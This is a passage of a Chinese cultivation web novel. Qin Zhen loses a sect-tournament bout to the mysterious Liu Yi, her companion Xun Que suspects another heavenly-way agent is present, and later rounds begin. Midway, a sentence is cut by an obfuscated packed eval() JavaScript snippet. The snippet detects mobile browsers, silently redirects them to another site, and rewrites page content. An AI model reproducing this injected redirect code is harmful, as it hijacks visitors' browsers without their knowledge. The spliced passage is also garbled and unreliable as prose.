再击、再避,数十个回合后,秦蓁终于找到一丝空隙,在闪避的刹那出剑,将柳一打退。 得了片刻喘息,秦蓁这才能将眼角余光分出些许,发现擂台边缘灰烟缭绕,隔绝了台上台下的视线。 她隐隐察觉不对,但柳一不过后退几步,稳住身形后又立刻聚气,抬手作爪飞身上前。 秦蓁被动抬剑抵挡,灵力相撞时她手中剑被击得不断震动,秦蓁竭力制住,才没有被柳一这一击将剑打脱手。 柳一撤爪再击,又是秦蓁捕捉不到出招轨迹的速度。 突然她听见如蝉翼轻破的声音,锁骨一刺,灼烧感袭来,她才意识到是护体结界碎裂,猛地提剑上削。 柳一的尖爪已刺进她锁骨下方,深入将近一寸,被剑气所迫,抽出回撤,带出一点飞溅的血肉。 秦蓁来不及多作反应,柳一的尖爪又即刻逼来,她迅速再聚结界,手腕翻转挑出一剑,带起剑气轰出,柳一抬臂格挡,秦蓁双手持剑下劈。 柳一急急退开,惊讶开口:“刀法。” 秦蓁未言,凝瞳横出一剑,似峰似霜,剑势直冲而去,柳一抬爪相抵,几息后却迅速回撤,就要再次后退。 不悔剑争鸣,长啸而出。 秦蓁心底却微沉。 纵然柳一已退数步,两人距离也不过十尺左右,这般近的距离,以柳一的速度,随时能再次将尖爪刺入她体内。 她不敢放松,追击上前凌厉挥剑,柳一却不再抬臂格挡,她站在原地,没有任何动作。 秦蓁蓄力一击,剑尖将近柳一身前时,竟似撞上了什么,轰然一响,秦蓁喉间一呛,有血气冲上直滚而出,手骨剧痛瞬起,她半边身子都被震得发麻。 秦蓁咬牙握剑捶地,不悔剑插进擂台木板,剑身却仍在震晃,她狠狠收紧手掌死握剑柄压下,许久才将这股力制住。 她右手手骨碎了大半,鲜血顺着不悔剑蓝紫色的剑身流入地底。 柳一看着她,开口:“这等结界的反击之力,不好受吧?” 秦蓁平静站起,左手拔剑出地,木屑纷飞。 她也望向柳一。 柳一在原地一分未动,她秀眉柔眼,是不笑也温柔的一张面皮。 可她眼神下睥,抱臂昂头时透出一股与她气质不符的尖刻来。 “倒是比我想象中强上许多。” 柳一聚气抬手,直掏而来:“但也——” 秦蓁左手持剑飞劈,柳一侧头避过,一手抵剑,一手击至秦蓁胸口。 秦蓁竭力翻剑绕上,却根本触不到柳一。 她的剑被虚空格住,大抵又是柳一嘴里的“这等结界”。 那是她看不见的屏障,承着她抵不住的力量。 杀意刺骨,尖爪却没破开她的皮肉,停在肩下抵着她。 柳一接上方才的话:“不过如此。” 二人维持着制裁与被制的姿态,四目相对,柳一眼中流出恶劣玩味的笑意。 灰烟散去,哗声顿起,原本仅有剑气灵力相撞声的擂台一瞬万分嘈杂,秦蓁再听不清蝉翼翕动的声音。 擂台侧边的裁判惊讶判决,这一场比试宣告结果。 擂台下各类声音接连响起。柳一突然一弯眼、一勾唇,抵在秦蓁胸口上左肩下的手不再作爪态,弯曲的指节柔柔伸直,松松撤回,自然的垂在身侧。 柳一面朝擂台下,对着观战众人爽朗笑道:“第一轮我输了许多场,昨日抽中秦师姐,可吓坏了,还以为要一直输下去了。” “秦师姐名气这般大,给了我许多压力,没想到在对战中竟让我顿悟了宗门绝学!这灰烟便是我地门秘法!原来师长所说的触底反弹并非虚言!” 柳一面色快活,全然一副无名小弟子被领悟高阶术法的意外之喜砸中的样子:“竟真能胜秦师姐!” 她回头看向秦蓁,这一瞥眼也似抬眼:“多谢秦师姐赐教,承让。” 语毕,柳一欢快的跳下擂台。 许多观战的弟子见她竟赢了近日名气渐大的秦蓁,也颇有兴趣的跟随她,去观战她下一场比试。 秦蓁一人站在擂台上。 擂台下震撼质疑的声浪一声高过一声,不乏许多刺耳的幸灾乐祸,他们说她轻敌,说她输给战绩这般的无名之辈丢人,说灰烟挡了视线,更是挡了她的狼狈之态,否则该好好看看她这场打得有多难看。 秦蓁一字未言,也跳下擂台,被段师姐几人拥住关切询问时,她只轻轻摇头,去抽取下一场比试对手。 她储物戒中有许多好药,秦蓁随意翻出几颗吃下,手骨愈合细微作响,她沉默执剑。 后面的比试她都顺利胜出,同前几日一样游刃有余。 直至今日的比试结束后,那些难听的话语也少了些,只说她年少气盛,第一轮就过于飘然忘我了,输给一个不该输的、实力一般的无名小弟子。 秦蓁并未辩解一字,提着剑走回住处。 易师姐结束比试后追来,敲门喊她:“秦师妹,秦师妹,输一场而已,不必过于介怀,我输好多场呢!秦师妹你与我们说说对局,我们一起复盘看看。” “秦师妹,那个什么柳什么,柳一?名字这般随意,又是个没听过的小宗门出身的,说不定并非正经弟子呢!这等人哪能赢你,还放灰烟不让观战,定是使了歪门邪道!” 易师姐止住话语,没一会儿传来段师姐小声训话的声音,听不太清,倒是易师姐被训得有些委屈的声音再次响起:“好吧,我不该编排人家。秦师妹,大小姐方才带了糕点过来,你要不出来尝尝嘛?” 秦蓁笑起来,回她:“多谢大小姐了,易师姐、段师姐,你们回房歇息吧,也跟陈师兄华师兄说声,不必忧心我如何。我并不惧败。” “柳一实力古怪,若日后你们对上了,定要多加小心。我先自己复盘战局,理清一些思路,再与你们说。” 易师姐蔫嗒嗒应声,段师姐叮嘱道:“好,秦师妹,你先复盘,若术法难辨,你与我们说说,我们一起慢慢分析。日后问问陈长老柳长老她们,还有你师父。总归能明了的。” 段师姐与她道别,秦蓁回应,易师姐的声音却又响起来:“秦师妹!糕点我拿玉盒装着了,放在门外。玉盒保鲜,你明日吃也成的!味道一样!” 秦蓁吸气,再缓缓呼出:“多谢易师姐。” 易师姐还有些忧心,段师姐拉住她拍了拍,她犹豫一下,才与段师姐一同离开。 秦蓁将与柳一的对战反复琢磨,直觉此人身份古怪。 纵然真如她所言,灰烟和她飙升的实力是她突然领悟宗门绝学,可她那般强烈的杀气,还有最后那不似寻常护体结界的屏障,都太难以解释。 且宗门绝学非是擂台切磋就可领悟,柳一出招极快,是她从未遇到的,连已至化神期的林赴川都不如她出招迅疾。 修习的术法不同确有差异,柳一的招式追求身法速捷,而剑修出招并不一定要求速度,但跨一个大境界的差距非是极速即可比拟。 元婴期真能有那般实力吗?而柳一又为何对她有那么强烈的杀意? 秦蓁垂眸。 但那样的杀意,却在最后一刻停在了她身前。 灰烟散去二人重新出现在观战众人的视野中时,柳一那番模样,也与她对战时差距过大。 她几次对上柳一那双眼睛,都有种古怪的感觉。秦蓁一时说不清,似是有些眼熟,但细看又觉得她并未见过。 “阿蓁姐姐,阿蓁姐姐,小鹊比试完回来啦!” 旬鹊的声音从房门外传来,脚步声也由远及近,最后是她已至门口,疑惑喊道:“咦,阿蓁姐姐,你门口有个玉盒诶!” 秦蓁将思绪抽离,开门时旬鹊刚将玉盒抱住站起身,眼如琉璃,皱眉盯着她:“阿蓁姐姐,我比试完听观战的弟子说,有个叫柳一的弟子赢了你。” 秦蓁点头,忍笑看她。 旬鹊瞪眼道:“什么柳一柳二的!下次阿蓁姐姐把她打回去!狠狠打!打成柳三十六!叫她往后看见阿蓁姐姐就走为上计!” 秦蓁笑开来。 她就知道。 她迎旬鹊进屋,说没错,下回定要狠狠打。 * 宗门大比开启的第三日,各宗门带队长老就被李掌门紧急召集,商讨事宜去了。 李掌门挑选出许多两界观的弟子们派去各宗门队伍,一队一师姐一师兄,让他们暂任带队。 毕竟是两界观作为比试场地,其他宗门弟子大多人生地不熟。 长老们不在,一些弟子没了拘束很是兴奋,擂台上竟比平日更加勇战,但也有许多弟子因遇到冷门术法,却请教不到长老而沮丧泄气。 旬鹊心中警铃大作,剧情中可没有这段各宗门长老聚集开会、留一群弟子比试的情节。 长老们开会可不是什么好兆头,且各宗门也很看重宗门大比,这个关头如此行动,定是出了些大问题。 不过剧情早崩了八百回了,旬鹊警惕归警惕,却并不多紧张。 这些宗门长老到天道剧本结束都好好的,总不能崩个剧情还能出什么危及性命的事,长老们没事,这些小弟子也就有人护。 或许是之前魔尊的消息,他的踪迹有进展了。旬鹊想了想,自觉这是最合理的思路。 如果是魔尊的消息,那可能是后期一个剧情——魔尊派人潜入宗门弟子中寻物,闹出一场大乱,许多弟子死在这个情节点。 虽然剧情逻辑来讲,这事与前期的宗门大比八竿子打不着关系,但天道的剧本已经崩得她没了脾气。 以防万一,她还是偷摸溜去道源宫的云舸,花了几日陆续布了些阵法上去。 旬鹊要干这事也有些艰难,云舸是法器,陈长老交给段师姐掌管。 不过她好歹扮了那么久的天真可爱小师妹,段师姐倒很好解决。 她一通忽悠,段师姐便应了,将云舸法器交给她保管。 可她抬法器召出云舸就得避开众人了,毕竟没哪个弟子会闲着无聊把云舸召出来。 云舸太大太显眼,她得寻些荒无人烟的地方召出,但两界观除了修士,还有许多凡人,旬鹊只能凑合找个暂且无人的大空地,迅速召出布阵。 有时突然听到些动静,她便飞速撤出,将云舸收回法器大小,转头跟路过好奇询问的弟子或凡人扬笑打哈哈。 她带着云舸躲来躲去,活像个做亏心事的贼人。 旬鹊安抚自己,她真是天道手下最负责的打工人,仅为以防万一,都能这么折磨自己造福他人。 她趁着秦蓁专心比试,陈长老和柳清沂又不在,这几日草草结束比试便跑去给云舸布阵。 她布完放防御阵法,又布攻击阵法,又布加速阵法,还不满意又布了许多大大小小的阵法,直到布阵把自己布得怨气飘飘了,才一摊手,打算先罢工几日。 旬鹊的每场比试都打得平平无奇,像跟谁都能过两招的样子,胜负次数也相当平衡。 她盯着自己的胜场,严格控制胜场次数在第三轮淘汰规则的场次上下浮动。 旬鹊就没打算在这宗门大比拿些什么成绩出来。 她早都是个飞升期的老妖怪了!跟一群小孩争什么名次! 这有点太不要脸。 旬鹊觉得自己还是很有妖德的,这般没品的事她干不出,于是更加顺理成章的摸鱼划水。 道源宫的师长们不会责怪弟子没拿到好名次,她已想好,便说自己初次与外对战有些惧战,心态跌落,打过两轮已尽全力,在第三轮开启淘汰时便被打了下去。 小弟子嘛,有些惧战是难免的,这般虽然说出去不大好听,却很是合理。 这些初出茅庐的小弟子们有凌云壮志,满心未来,她不想占了他们的晋级资格。 今日她第二场有比试,秦蓁是在第一场,但她最近忙着布阵没睡太好,她又贪睡,起晚了些,没去看秦蓁比试。 反正女主比试又出不了什么意外。 秦蓁这几年进步飞快,这些弟子在她面前大多不够看,几个大宗门的弟子或许能与她过过招,但也就过过招了。 她只要加班布些阵法,然后就能彻底不管事整日休闲摸鱼了。 这才是做天道任务者的意义啊。 旬鹊悠声感叹,再慢悠悠走出住处,打算先去街市买个早点再去比试,第二场比试的时间还未到呢。 她的思绪飘出边际,但都是绕着秦蓁飞,秦蓁很喜欢切磋,宗门大比她定是高兴的。 提起切磋,她又想起平日秦蓁都是与林赴川切磋,二人关系倒越打越好了。 真烦这人! 这林赴川都到化神了——旬鹊舌尖抵了抵侧边的小尖牙——他渡劫便要入魔了。 到时秦蓁肯定很生气…… 突然旬鹊顿住脚步,愣愣侧头远望。 她感受到一丝与她同源的天道气息。 在擂台方向。 * 旬鹊去到比试场地时,那丝气息却已消失。 她有些摸不着头脑。 一般情况下,同一个小世界是不会有两位天道任务者同时出现的,毕竟主角就一个,总不能两人抢业绩。 但她很明确,自己当真感应到同源气息,不可能是她错觉。 旬鹊细细琢磨剧情,可宗门大比的剧情平平无奇,剧本中不过几段话便带过,她把剧情翻出了花儿都没看出有什么特殊的地方。 天道派人下来做什么?她不是还坚守工位嘛! 旬鹊不满,摆着个脸走去她的比试擂台。为这一通赶路,她都没去街市买上早点,结果又捉不到人弄不出个所以然,亏本买卖。 她无心应战,划水划得更厉害,神识却悄悄展开,试图探查出些蛛丝马迹。 但直到她一日的比试全都打完,神识将两界观翻了个遍,也没发现什么问题。 最后一场比试结束,她跃下擂台准备回住处,却听见路过弟子在讨论她错过的第一场比试。 有关秦蓁。 * “阿蓁姐姐,我知道你定然不惧输,你说有古怪,那柳一就定然有些邪门歪道在身上。” 旬鹊这般说着,心下也在思索柳一会不会就是她感应到的那丝天道气息的载体。 或许这人也是个天道任务者。 但她未见过柳一,仅是猜测,不能与秦蓁多透露,免得打草惊蛇暴露她自己又招惹了天道发黄牌。 可要是柳一真是天道派下的人,她坑害女主做什么? 比试完柳一那通装模作样的阴阳怪气,秦蓁说得平淡,她听着却噌噌冒火。 这个套路她可太熟悉了,这不就是对方未行恶事、抓不到品行瑕疵、又想无端败人名声的第一步吗? 先装个实力差劲谁都打不过的样子,上了擂台狠击猛打,赢了人后欢欣说句哎呀真没想到,旁人便会因两人的实力差大肆评价,好似强者输一把便该被踩进泥底一样。 这些人慕强,见秦蓁打出名气了,于是追随她夸赞她,她赢得越多,他们便越是吹捧她。 输也不算太损形象,但总要输给另一方众人皆知实力强劲的对手才成,输给无名小喽啰,定要喧嚣四起,遭人唾骂的。要不说她轻敌自大,要不叹息说是他们错看。 可最强的强者,也不是最完美。 千万人指指点点,但分明她的胜利与他们并无任何干系。 分明是她日夜将剑紧握,修得剑中真意。 分明是她的血在一次次承伤中流出,是她忍过一次次尖锋入肉之痛。 凭什么因她一局落败,刺出那些话语。 旬鹊越想越气:“阿蓁姐姐,那些弟子的胡乱评说不必听进,肯定也有人能看出柳一的不对劲,只是那些瞎话的声音要大些。” 她拉住秦蓁手臂,轻轻晃:“不难过。” 秦蓁笑了笑:“不难过。前几日我赢下比试离场时,也并未与旁人多说话,只是那时我是觉得自己不善言辞,今日倒是确实不好开口了。” “有什么不好开口嘛,让他们上去与那柳一打去。”旬鹊嘟嘟囔囔。 秦蓁摇头:“不能这么算的。是我的比试,我该尽力做好。” 旬鹊撇嘴说道:“阿蓁姐姐出了皇宫,反而一板一眼了。” 秦蓁再次摇头:“是我明白的东西更多了。” 这话听得旬鹊直接瞪眼,就要开口叨她几句。 秦蓁坐在榻上,这会儿抬腿屈膝,将下巴轻轻抵在膝盖上,黑发如瀑垂落,睫羽也低垂。 “我只是觉得,我确实有些自满了。” 旬鹊架起的眉毛一下子就松了,心底很软,却又冒起酸水,学着秦蓁从前那样抚开她脸侧发丝。 女主什么时候能明白,她是最尊贵的,自满算什么,她就该骄傲漂亮的活。 天道剧本天选之子诶!天大地大,女主最大,她就是最尊贵的。 整个小世界都是为你诞生的,飞升期的任务者辅佐你,重要配角串在剧情线上,因你生为你死,而那些你根本不必多看的芸芸众生,你不高兴了随手灭了就行,总归全是剧情炮灰。 “小鹊?” 秦蓁声音疑惑,轻轻拍了拍她,问道:“怎么了?这般脸色。我当真不在意,你也别在意。” 旬鹊一下子回神,意识到是自己想得太过,无意识将漠视端上脸来,神色绷得太紧,叫秦蓁察觉到了。 她掩饰性的皱眉撇嘴瞪眼三件套,又软了语调撒娇般试探:“小鹊就是讨厌他们嘛,有时觉着气人,都想一剑砍完那些人算了!” 见秦蓁果然微微蹙眉,她立马改口:“不过修道之人要心有正道护佑苍生,我就是气一气而已。” 秦蓁好笑的戳戳旬鹊攀住她肩臂的手:“别气,众生百态,我自好好修道。” 旬鹊哼哼几声。 怎的感觉女主比剧本中的还要正派了。 八成是受道源宫的二愣子们影响。罢了,他们对女主都好,不管他们了。 她顺势埋头在秦蓁肩侧,正要接着撒娇,却看见秦蓁白皙肌肤上,几个似是伤口结痂脱落、又长出嫩色新肉的伤痕。 旬鹊瞬间明了。 柳一。 她状似未觉,轻靠在秦蓁肩侧,听见沉稳心跳一下一下怦动。 旬鹊的心却一落千丈。 她必须弄清楚,柳一是不是天道派下的人。 * 第二日便已到大比第二轮,段师姐几人见秦蓁状态如常,也终于放心下来,几人复盘一番柳一的术法,也觉得古怪,尤其她莫名其妙的强烈杀意。 但柳一的宗门实在是个小宗门,几人皆未听过,查阅典籍也只翻出一句“地门无地,天门无天”来。 众人不明所以,猜测天门或许是地门临近的另一个小宗门,查阅半天才找到,确有个名叫天门的小宗门,但旁批记载是与地门相同的那句话,倒像是开山立派时两姊妹或是两兄弟同创的小宗门。 毫无进展,几人于是打算去问问其他宗门弟子,易师姐还扬言实在不行她直接冲去地门弟子们的住处,抓一个弟子过来“严刑拷打”,被段师姐叹着气驳回。 华师兄冷着脸说:“待我抽到与她作战,会一会她。也不知道这柳一为何对自己实力遮遮掩掩。” “因为地门的规矩是到了渡劫期——就要为地门的地坛献祭自身。” 女孩怯怯的声音接过话,众人一愣,回头看见一个身穿明黄色弟子服,面容稚嫩的小弟子。 她说话的语调似乎永远都带着怯意:“几位师兄师姐,我刚才听见你们谈话,你们也是在讨论柳一嘛?” 华师兄面色古怪道:“天玄宗的人。你有何事?” 女孩似乎被吓到,支吾半天才小声问道:“道源宫现今收不收弟子呀?” 这下不仅华师兄一人面色古怪了,段师姐几人面面相觑,最终是陈师兄出来委婉开口:“若你有亲朋想入宗门,其实不必舍近求远。且其他宗门招新时间固定,入门条件够上就能入宗。” 女孩急道:“不是我亲朋,是我呀!我想入道源宫。我天赋 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于师姐紧紧抿唇,好一会儿才开口:“到你的比试了,管事师兄要我来喊你。” 江荷怯怯道:“于师姐,要不你同我一起拜入其他宗门吧,天玄宗不是好地方。” 于师姐未言,侧身,江荷明了她的意思,朝秦蓁等人挥手作别:“我得去比试了,过后再来问你们,若是道源宫不收人了其他宗门也成的!帮忙引荐一下嘛,我会给报酬的……哎于师姐,你走慢些!” 秦蓁哭笑不得:“这位江师妹怕是不清楚,她们天玄宗的长老……之前便是要来找我。” 段师姐几人也很是无奈,虽说听江荷那番话应是真心想拜入其他宗门,但直接找上他们几个道源宫的人来,也是莽撞得可以。 “不过,她方才说什么地门献祭,倒是条线索,也不知是否属实。各类记载宗门的典籍我们都翻遍了,或许是出自茶楼酒肆的闲谈。”秦蓁说。 段师姐也认可:“若她真再来……细细问下,她不喜天玄宗,大抵也是他们作风问题,若她真心想离开天玄宗,帮一帮也罢了。” 几人皆成共识,便各自先去往擂台比试。 * 但直至大比第二轮结束,那位江师妹都没再出现过,而秦蓁几人关于地门和柳一的调查也毫无进展。 没有比试时,众人也去观战过柳一,她自赢了秦蓁后,如同打通了任督二脉一般,场场皆胜,比试时擂台也再无灰烟缭绕。 众人在台下能看清她的每一个动作。 于是他们皆说这柳一确是位实力不错的弟子,身法灵动,想来还是与秦蓁一战叫她真正领悟了宗门秘法绝学了。 但秦蓁观战她,却十分明了她有所保留。与自己对战时,柳一出爪迅疾到她几乎是次次凭着本能去反应,而她现今在擂台表现出的实力远没有那般迫人,亦无杀气。 柳一每场比试赛前都要笑盈盈行礼,赛后也都要把秦蓁拉出来说多亏秦师姐赐教。 她反反复复的说,脸上笑意从来不断,似是真心实意感谢与秦蓁那一战让她顿悟实力飙升,原先以为第三轮便会淘汰,现下都能争争名次了。 于是众人也一直记着秦蓁轻敌输给个实力低微的小弟子,还意外让人家悟道实力大涨,真是憋屈得要命。 不过秦蓁往后一路连胜,又叫那些声音小了许多。 她不觉如何,要查明柳一也仅是因为她对她的莫名杀意和最后那道强到古怪的结界。 旬鹊和易师姐倒是次次听到次次生气,易师姐有次还把人当场揍了一顿,旬鹊更是直接找上了柳一。 但柳一根本不愿见她,旬鹊去找她几次,柳一要么是老远看到她就掉头走,要么是立刻喊来个同门弟子说有宗门秘事相议。 要么就是被她堵到住处,敞开木窗冲她扬笑,嘴里却说道:“师兄,有位其他宗门的师姐找我探讨术法,但我身子不便,你我同门所学术法相同,你替我讲与那位师姐听吧!” 接着就会有个木讷男子从另一侧开门出来,询问她是想了解爪法哪些方面。 而柳一“呯”一声关上木窗,把她气得够呛。 旬鹊一个没忍住,在秦蓁面前痛批柳一阴险狡诈,敢做不敢当,绝不是个好人。 秦蓁无奈的笑,安抚她不必多在意,人外有人天外有天,柳一总会遇到她之外的能人,待她实力精进,来日柳一也未必能再次取胜于她。 * 大比第三轮开启,按弟子们的胜场次数排序,也正式开启淘汰。 秦蓁仅输柳一那场,排名很高,又是道源宫决出的前五名,直接晋级至第四轮,得一轮空闲,可以去多看比试熟悉对手了。 与她同晋级的还有段师姐。 段师姐与她细细分析她遇上的几位实力强劲的对手,毫不藏私,秦蓁学到许多细节处理。 而林赴川也如约而至,在第三轮的第一日傍晚赶来。 他到两界观时正好赶上这日最后一场比试,秦蓁与段师姐在擂台观战,他往擂台方向走,想去找秦蓁。 他一路走去遇到众多宗门弟子,许多人认出他,俱是惊讶,毕竟林赴川已至化神,无法参加要求元婴期的宗门大比,而孤鸿院队伍里之前几轮也没见他这位师兄带队。 且他还是上一届宗门大比的魁首。 实力为尊,近几年林赴川将各路豪杰打了个遍,那些江湖传闻终于不再聚焦到他日后会堕魔上。 他挥剑而出,叫世人看见了他的凛然剑意和通明剑心。 不过流言依旧是难免的。 一部分人见过他的剑,斩钉截铁说不信这样的剑意会有堕魔的一天;另一部分人也见过他的剑,胆战心惊说这样的剑意堕魔,魔域又添一名猛将! 林赴川现今已再不惧流言,或许是因秦蓁是个清淡性子,他也学了几分过来。 终于又见她了。 路上许多弟子同他招呼,还遇上几个年纪很小的弟子尊崇喊他林师兄,跑上前问他能不能让他们看看他的剑。 林赴川笑着推拒,说他急着赴约,日后再言。 他与秦蓁保持着通讯,清楚她胜场赢得漂亮,第三轮大抵会直接晋级。 今日是第三轮第一日,她早晨时应当就知道消息了。 林赴川也很高兴,想快些见到秦蓁带笑意的眼睛。 小弟子们好奇疑问他去见何人,林赴川也不遮掩,说自己来找秦蓁。 没想到有几位小弟子的神情瞬间变得古怪起来,他皱眉,也摆出几分不悦:“怎么了?” 一位小弟子说道:“秦师姐狂妄自大,轻敌输了个小宗门弟子。” 林赴川惊讶反驳:“她不会轻敌。” “秦师姐就是轻敌了呀,那柳一我们后来都去观战过她,实力确实不错,但也就与几位厉害师姐和师兄相当,秦师姐没轻敌的话,柳一哪能让她见血……” “她受伤了?” 林赴川急切的话语打断了他,小弟子们皆是一愣。 见他们不答,他也没再问,错身就要走过,最开始说话的那位小弟子反应过来:“受伤了,流了好多血的。” 林赴川即刻御剑,消失在他们视野。 赶到比试场地后,林赴川展开神识寻找秦蓁。 化神后可修神识,不过他才刚刚修成,能扩散的地方很有限。 他的神识在某个擂台下捕捉到秦蓁的身影,她侧着脸,正笑着说些什么,林赴川往她身旁一看,原是段师姐,二人在观战。 林赴川松口气,秦蓁看起来一切都好。 他在外围收了剑,往秦蓁的方向走去。 * “林赴川!” 秦蓁听见熟悉的声音,回头看见果真是熟悉的人,欣喜喊他。 林赴川应声,笑意深深入眼底,将他的眉眼都柔和几分:“我来了。” 这时擂台上的比试结束,秦蓁便与林赴川说,方才台上是两位刀修比试,她觉得与孤鸿院几位弟子相比要稍稍差些。 她这几日也有观战过孤鸿院的弟子们,他们刀法修得都很不错,能争更高名次。 林赴川一一应声,却并未将目光投上擂台——不过比试已经结束,擂台确也没什么好看的。 段师姐一瞥林赴川,便说她先去看看易师妹那边,接着与秦蓁道别。 秦蓁原说要一同去,但段师姐却说道:“林赴川刚到,该为他接风洗尘,正好你们二人剑意相合,柳一的事也可以复盘探讨看看。” 秦蓁应下,因着起了些流言,她并未与林赴川说柳一的事,不想他同易师姐一般,做什么都愁着她,也白费着心思忧心她。 不过现下林赴川人在此地,她第三轮也不必打,正是二人切磋的好时候,也正好叫林赴川看看柳一的爪法,她亦有许多招式想与他对练。 秦蓁便将她与柳一对战的战局与林赴川细细说,林赴川听得认真,两人自比试场地往宗门弟子的住处走,边走边就开始了复盘。 林赴川的视线下意识追随着秦蓁,偶尔秦蓁偏头侧眼与他对上目光,他呼吸便微微凝滞,待她收回眼继续说着战局招法,心跳才后知后觉的狠狠敲击他的胸膛。 “原来你竟有心悦之人。” 林赴川猛然停住,秦蓁也顿住脚步,侧身询问。 “无事。你伤可好了?” “早就好了,你不必忧心,留些好药给自己。”秦蓁轻叹。 林赴川却是轻笑,回应她:“我留有的。我近年得了许多灵草灵药,你也不必忧心。” 秦蓁笑瞥他一眼:“我受伤比你少多了,多数也不如你伤得重。你不想我忧心,该是你自己少受些伤。” 林赴川耳尖发烫,呆呆点头。 “啧。你就这样追她啊?可真是个君子。” 林赴川这下没有停住脚步,他与秦蓁已至住处,秦蓁说她去喊上陈师兄和华师兄,还有几位孤鸿院弟子,待段师姐与易师妹回来,为他接风洗尘。 林赴川笑着说好。 秦蓁转身后,他眼底漫起寒气。 “你再多说一个字,我便叫你知道千刀万剐的滋味。” 那声音却在他识海中张狂的笑起来:“你敢在她面前这般说话吗?” “装模作样!” 林赴川攥拳,半天才压下心口戾气。 * 第三轮比试还未结束,却已淘汰大半弟子,其中有道消息引起一片哗然—— 柳一被淘汰了。 48. 请赐教 淘汰非是输一把两把便轻易淘汰的,柳一竟被淘汰,定是输了许多场。 众人啧啧,怕是领悟了绝学却未巩固好基础,本就不稳定的实力跌退,败了也理所应当。 易师姐等人得了消息兴高采烈,说果然这人就靠些邪门歪道,这下那些对秦师妹阴阳怪气的流言可算能少些。 旬鹊反倒面色凝重,她没懂这柳一到底是想做些什么。 她所为摆明了针对秦蓁,不会是天道的人,那丝天道气息大抵也与她无关,可这人踩过女主为自己造势后竟突然被淘汰,有悖于她从前的行动,叫旬鹊更看不懂她意欲何为了。 总不能……真是被人打淘汰的? 旬鹊狐疑否定。 秦蓁没什么表现,好似柳一如何皆与她无关,只是未弄清柳一身上的古怪这人便淘汰了,叫她有些不知道还要不要继续深究。 毕竟最开始时她想调查清楚对方,是因为她要了解她的宗门及招式术法,才能在后续比试再次对上时能有一争高下之力。 秦蓁犹豫了下,众人对柳一的调查无甚进展,地门虽有些线索,要能据其分析却还得去做更细致的打听探查。 纵然柳一对她有莫名杀意,但宗门大比汇集九州宗门长老,不会允许有弟子出事,自己其实比在外历练还更安全,柳一若真想如何也得顾及许多。 还是暂且放下,专心比试。 秦蓁这几日与林赴川切磋,总觉他此前历练回来后出招更为迅疾了,原先他剑势虽强,却并不多狠厉。 刚开始时林赴川大抵有意控制,倒没叫她觉出些什么,但打多了他剑意被激起,几次被秦蓁压制时,下意识就打出强横剑气,二人剑气相撞,秦蓁惊觉他剑中狠意较从前更甚,还带了难敛戾气。 看来那耽搁他的、有关他师父的意外之事,并没有一个太好的结果。 但之前通讯时林赴川对此事便有些回避,现今他似乎也没有要主动说的意思,秦蓁便也没问。 有些事本就难以释怀,抑制难控心绪已是竭力,何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411119|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况开口说与他人。 秦蓁只叹还好林赴川一心剑道,剑心清明。 * 第四轮比试开启的第一场,秦蓁没想到,竟然又抽中温子艺为对手。 待他叹着气走上擂台,秦蓁很有礼貌的说道:“新的一场比试,你是不是也得重新卜算?你算便好。” 温子艺的语气颇有些幽怨:“知道是你,我便已算过了。但仅有一二轮才可认输,开启淘汰赛后便不可了,必须得好好打,连浑水摸鱼都不成,有裁判长老用神识监测着各个擂台。” 这规则秦蓁倒是不知,李掌门在讲解规则时并未说明,想来也没有多少弟子会同温子艺一般,卜出败局便干脆认输。 温子艺还在叨叨:“无事无事,一场比斗罢了,不战而降风气不好,不该提倡,也易带被买通造绩,实打实战才能回归武学本源。” 他终于安抚好自己,愿意开打了。金符现出,那原本因他低耷着眼皮而无甚神采的双眼微微亮起,竟显认真:“请赐教。” 49. 你眼光真好! 宗门大比第五轮比试开启,秦蓁的第一场又遇到个熟悉的人。 面前笑容灿烂、眼中却仍有怯意的女孩,正小步朝她靠近。 两人还未行礼开赛,她便也未动,待江荷小步挪到她面前。 果然江荷小声问道:“秦师姐,道源宫还招不招人嘛?第五轮比试长老们也都回来了,可否帮忙引荐一下嘛?” “道源宫不收人的话,其他宗门也成!我看秦师姐与两界观大小姐关系也不错,两界观也成呀!” 她还未答,江荷声音更小:“我可都做了投名状了!” 说这话时她眼尾轻轻挑起,竟显出一丝锋锐。 秦蓁打量着她。 这江荷明明是天玄宗的人,哪怕真如她所说她不想待在天玄宗了,但在两界观作场地的宗门大比上倒戈道源宫,也是胆子大得可以,竟不怕天玄宗报复上门。 秦蓁侧眼看向台下,很轻易就从人群中找到阴沉着脸看着她们的天玄宗张长老。 “你们的带队长老似乎已得知此事。” 江荷眼中带怒:“那张长老锱铢必较睚眦必报,烦人得很!” “秦师姐,我问过我于师姐的,从前天玄宗也不是没有过弟子退宗拜入其他宗门,天玄宗的人竟然还追到人家宗门里去……都可惨了!” 江荷一转语调:“所以我得拜个跟天玄宗有仇……呃,不是不是,我是说,得拜个厉害宗门!叫天玄宗的人没法打上门来的。” “拜小宗门安分修炼……想得倒好,可你安分了,人家就会来掐拿你了。”江荷低低道。 秦蓁思量,陈长老和师姐今早皆已回来观赛——师姐此刻就在擂台下看她呢。 她望过去,柳清沂微微蹙着眉,似乎对她们二人凑着悄声说话有些疑惑,见她看来,倒是朝她露了个笑。 秦蓁松着眉,也笑,心下稍安。 段师姐已与她们汇报了这一月里的大比之事,她们应当也知道了有位天玄宗弟子追着说要入道源宫。 “待比试完问问长老们。两界观我并不多了解,不过道源宫三年一招新,若你当真退宗,正好可以赶上今年初秋的招新。” 江荷立马小鸡啄米般急急点头应下:“好啊好啊!若长老们不同意我现今就入宗门,那等招新我去报名。” “其他宗门也成的!是个厉害宗门就成!”江荷再次强调,生怕秦蓁误会她是天玄宗派来卧底道源宫的探子。 秦蓁未再多言,只说:“先打完比试。” 江荷欢欣退开,有模有样行了个礼,召出一杆长枪。 秦蓁先前观战过她,江荷的长枪使得并不算特别好,攻势虽然凌厉,底盘却稍有些松垮,不像是自小练枪之人,应是半道学的长枪。 